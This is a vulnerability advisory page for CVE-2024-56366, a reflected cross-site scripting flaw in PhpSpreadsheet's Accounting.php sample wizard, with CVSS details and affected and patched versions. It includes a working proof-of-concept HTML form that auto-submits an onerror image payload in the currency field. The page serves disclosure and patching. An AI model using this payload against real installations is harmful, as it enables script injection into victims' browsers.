PhpSpreadsheet allows unauthorized Reflected XSS in the Accounting.php file

CVE-2024-56366 → View on GitHub ↗ View on CVE.org ↗ View on NVD ↗

Description

Unauthorized Reflected XSS in the Accounting.php file

Product: Phpspreadsheet
Version: version 3.6.0
CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CVSS vector v.3.1: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N)
CVSS vector v.4.0: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L)
Description: using the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php script, an attacker can perform a XSS-type attack
Impact: executing arbitrary JavaScript code in the browser
Vulnerable component: the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php file
Exploitation conditions: an unauthorized user
Mitigation: sanitization of the currency variable
Researcher: Aleksey Solovev (Positive Technologies)

Research

The researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in Accounting.php file) in Phpspreadsheet.

There is no sanitization in the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php file, which leads to the possibility of a XSS attack.
Strings are formed using the currency parameter without sanitization, which is controlled by the attacker.

fig7

Figure 7. A fragment of the query in which a string and a parameter are formed without sanitization

An attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario.

Listing 4. HTML form that demonstrates the exploitation of the XSS vulnerability

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://192.***.***.***/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php" method="POST">
      <input type="hidden" name="number" value="1234.5678" />
      <input type="hidden" name="currency" value="$<img src=1 onerror=alert()>" />
      <input type="hidden" name="decimals" value="2" />
      <input type="hidden" name="position" value="1" />
      <input type="hidden" name="spacing" value="0" />
      <input type="hidden" name="submit" value="Display Mask" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

After sending the script provided in Listing 4, the XSS vulnerability is exploited. Figure 8 shows the execution of arbitrary JavaScript code during the submission of a POST form.

<img width="460" alt="fig8" src="https://github.com/user-attachments/assets/b009256e-61f7-4d72-8f6a-cc6e0efe2bb1" />

Figure 8. Executing arbitrary JavaScript code

Credit

This vulnerability was discovered by Aleksey Solovev (Positive Technologies)

Basic information

Type
reviewed
Severity
high
Advisory on GitHub
Open advisory ↗
Repository advisory
Open repository advisory ↗
Source code
Browse source ↗
Published (advisory)
2025-01-03 17:06:23 UTC
Updated
2025-03-06 18:20:26 UTC
GitHub reviewed
2025-01-03 17:06:23 UTC
NVD published
2025-01-03

EPSS Score

Score Percentile
0.87% 75.01%

CVSS Scores

Base score Version Severity Vector
7.1 3.1 —
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network—not just someone sitting at the machine.
Attack complexity (AC:L)
Once they can reach the bug, pulling it off is straightforward—no weird race conditions or rare setup.
Privileges required (PR:N)
No account or special rights needed—anonymous or random user is enough.
User interaction (UI:R)
A real person has to do something—click, install, enable—otherwise it doesn’t land.
Scope (S:U)
Damage stays in the same “trust bubble” as the broken component—no big spill into unrelated systems.
Confidentiality (C:L)
Some sensitive info could get out, but not a total data dump.
Integrity (I:H)
They could widely tamper with or forge data—trust in the data is badly hurt.
Availability (A:N)
Service keeps running; no real outage angle.
8.3 4.0 —
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network.
Attack complexity (AC:L)
Exploitation conditions are straightforward and stable.
Attack requirements (AT:N)
No additional preconditions are required beyond normal reachability.
Privileges required (PR:N)
No privileges are required.
User interaction (UI:A)
User interaction is required in an active way.
Vulnerable system confidentiality impact (VC:N)
No confidentiality impact on the vulnerable system.
Vulnerable system integrity impact (VI:H)
High integrity impact on the vulnerable system.
Vulnerable system availability impact (VA:N)
No availability impact on the vulnerable system.
Subsequent system confidentiality impact (SC:L)
Limited confidentiality impact on subsequent systems.
Subsequent system integrity impact (SI:H)
High integrity impact on subsequent systems.
Subsequent system availability impact (SA:L)
Limited availability impact on subsequent systems.

Identifiers

Type Value
GHSA GHSA-c6fv-7vh8-2rhr ↗
CVE CVE-2024-56366 ↗

CWEs

CWE id Name
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Affected packages (5)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
composer phpoffice/phpspreadsheet >= 3.0.0, < 3.7.0 3.7.0 —
composer phpoffice/phpspreadsheet <= 1.29.6 1.29.7 —
composer phpoffice/phpspreadsheet >= 2.0.0, <= 2.1.5 2.1.6 —
composer phpoffice/phpspreadsheet >= 2.2.0, <= 2.3.4 2.3.5 —
composer phpoffice/phpexcel <= 1.8.2 — —

References

cvelogic Threat Intelligence